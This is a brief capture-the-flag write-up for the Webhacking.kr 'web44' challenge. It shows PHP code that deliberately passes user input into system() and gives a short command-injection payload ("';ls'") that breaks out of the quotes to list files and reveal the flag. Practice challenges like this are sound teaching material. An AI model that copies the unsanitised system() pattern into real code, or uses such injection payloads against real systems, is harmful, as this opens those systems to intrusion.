Webhacking.kr - web44

web44

<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>

Solution

$id 값을 5글자 잘라내겠다고 함.
id=';ls' -> echo 'hello! ';ls''가 되서 ls 실행
-> hello! flag_29cbb98dafb4e471117fec409148e9386753569e index.php
-> FLAG{y2u.be/sW3RT0tF020}